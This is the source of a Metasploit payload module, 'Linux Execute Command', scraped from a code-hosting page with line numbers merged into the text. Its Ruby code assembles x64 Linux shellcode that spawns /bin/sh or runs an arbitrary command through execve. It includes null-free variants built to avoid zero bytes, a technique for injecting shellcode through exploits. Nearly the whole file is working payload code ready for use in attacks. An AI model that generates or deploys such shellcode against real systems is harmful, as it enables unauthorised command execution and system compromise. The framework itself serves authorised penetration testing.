Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/linux/x64/exec.rb
Views: 11782
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule67CachedSize = 4489include Msf::Payload::Single10include Msf::Payload::Linux1112def initialize(info = {})13super(merge_info(info,14'Name' => 'Linux Execute Command',15'Description' => 'Execute an arbitrary command or just a /bin/sh shell',16'Author' => ['ricky',17'Geyslan G. Bem <geyslan[at]gmail.com>'],18'License' => MSF_LICENSE,19'Platform' => 'linux',20'Arch' => ARCH_X64))2122register_options(23[24OptString.new('CMD', [ false, "The command string to execute" ]),25])26register_advanced_options(27[28OptBool.new('NullFreeVersion', [ true, "Null-free shellcode version", false ])29])30end3132def generate(opts={})33cmd = datastore['CMD'] || ''34nullfreeversion = datastore['NullFreeVersion']3536if cmd.empty?37#38# Builds the exec payload which executes a /bin/sh shell.39# execve("/bin/sh", NULL, NULL)40#41if nullfreeversion42# 22 bytes (null-free)43payload = <<-EOS44mov rax, 0x68732f6e69622f2f45cdq ; edx = NULL4647push rdx48push rax49push rsp50pop rdi ; "//bin/sh"5152push rdx53pop rsi ; NULL5455push 0x3b56pop rax5758syscall ; execve("//bin/sh", NULL, NULL)59EOS6061else62# 21 bytes (not null-free)63payload = <<-EOS64mov rax, 0x68732f6e69622f65cdq ; edx = NULL6667push rax68push rsp69pop rdi ; "/bin/sh"7071push rdx72pop rsi ; NULL7374push 0x3b75pop rax7677syscall ; execve("/bin/sh", NULL, NULL)78EOS79end80else81#82# Dynamically builds the exec payload based on the user's options.83# execve("/bin/sh", ["/bin/sh", "-c", "CMD"], NULL)84#85pushw_c_opt = "dd 0x632d6866" # pushw 0x632d (metasm doesn't support pushw)8687if nullfreeversion88if cmd.length > 0xffff89raise RangeError, "CMD length has to be smaller than %d" % 0xffff, caller()90end91if cmd.length <= 0xff # 25592breg = "bl"93else94breg = "bx"95if (cmd.length & 0xff) == 0 # let's avoid zeroed bytes96cmd += " "97end98end99mov_cmd_len_to_breg = "mov #{breg}, #{cmd.length}"100101# 48 bytes without cmd (null-free)102payload = <<-EOS103mov rax, 0x68732f6e69622f2f104cdq ; edx = NULL105106jmp tocall ; jmp/call/pop cmd address107afterjmp:108pop rbp ; *CMD*109110push rdx111pop rbx112#{mov_cmd_len_to_breg} ; mov (byte/word) (bl/bx), cmd.length113mov [rbp + rbx], dl ; NUL '\0' terminate cmd114115push rdx116#{pushw_c_opt}117push rsp118pop rsi ; "-c"119120push rdx121push rax122push rsp123pop rdi ; "//bin/sh"124125push rdx ; NULL126push rbp ; *CMD*127push rsi ; "-c"128push rdi ; "//bin/sh"129push rsp130pop rsi ; ["//bin/sh", "-c", "*CMD*"]131132push 0x3b133pop rax134135syscall ; execve("//bin/sh", ["//bin/sh", "-c", "*CMD*"], NULL)136tocall:137call afterjmp138db "#{cmd}" ; arbitrary command139EOS140else141# 37 bytes without cmd (not null-free)142payload = <<-EOS143mov rax, 0x68732f6e69622f144cdq ; edx = NULL145146push rax147push rsp148pop rdi ; "/bin/sh"149150push rdx151#{pushw_c_opt}152push rsp153pop rsi ; "-c"154155push rdx ; NULL156call continue157db "#{cmd}", 0x00 ; arbitrary command158continue:159push rsi ; "-c"160push rdi ; "/bin/sh"161push rsp162pop rsi ; ["/bin/sh", "-c", "*CMD*"]163164push 0x3b165pop rax166167syscall ; execve("/bin/sh", ["/bin/sh", "-c", "*CMD*"], NULL)168EOS169end170end171Metasm::Shellcode.assemble(Metasm::X64.new, payload).encode_string172end173end174175176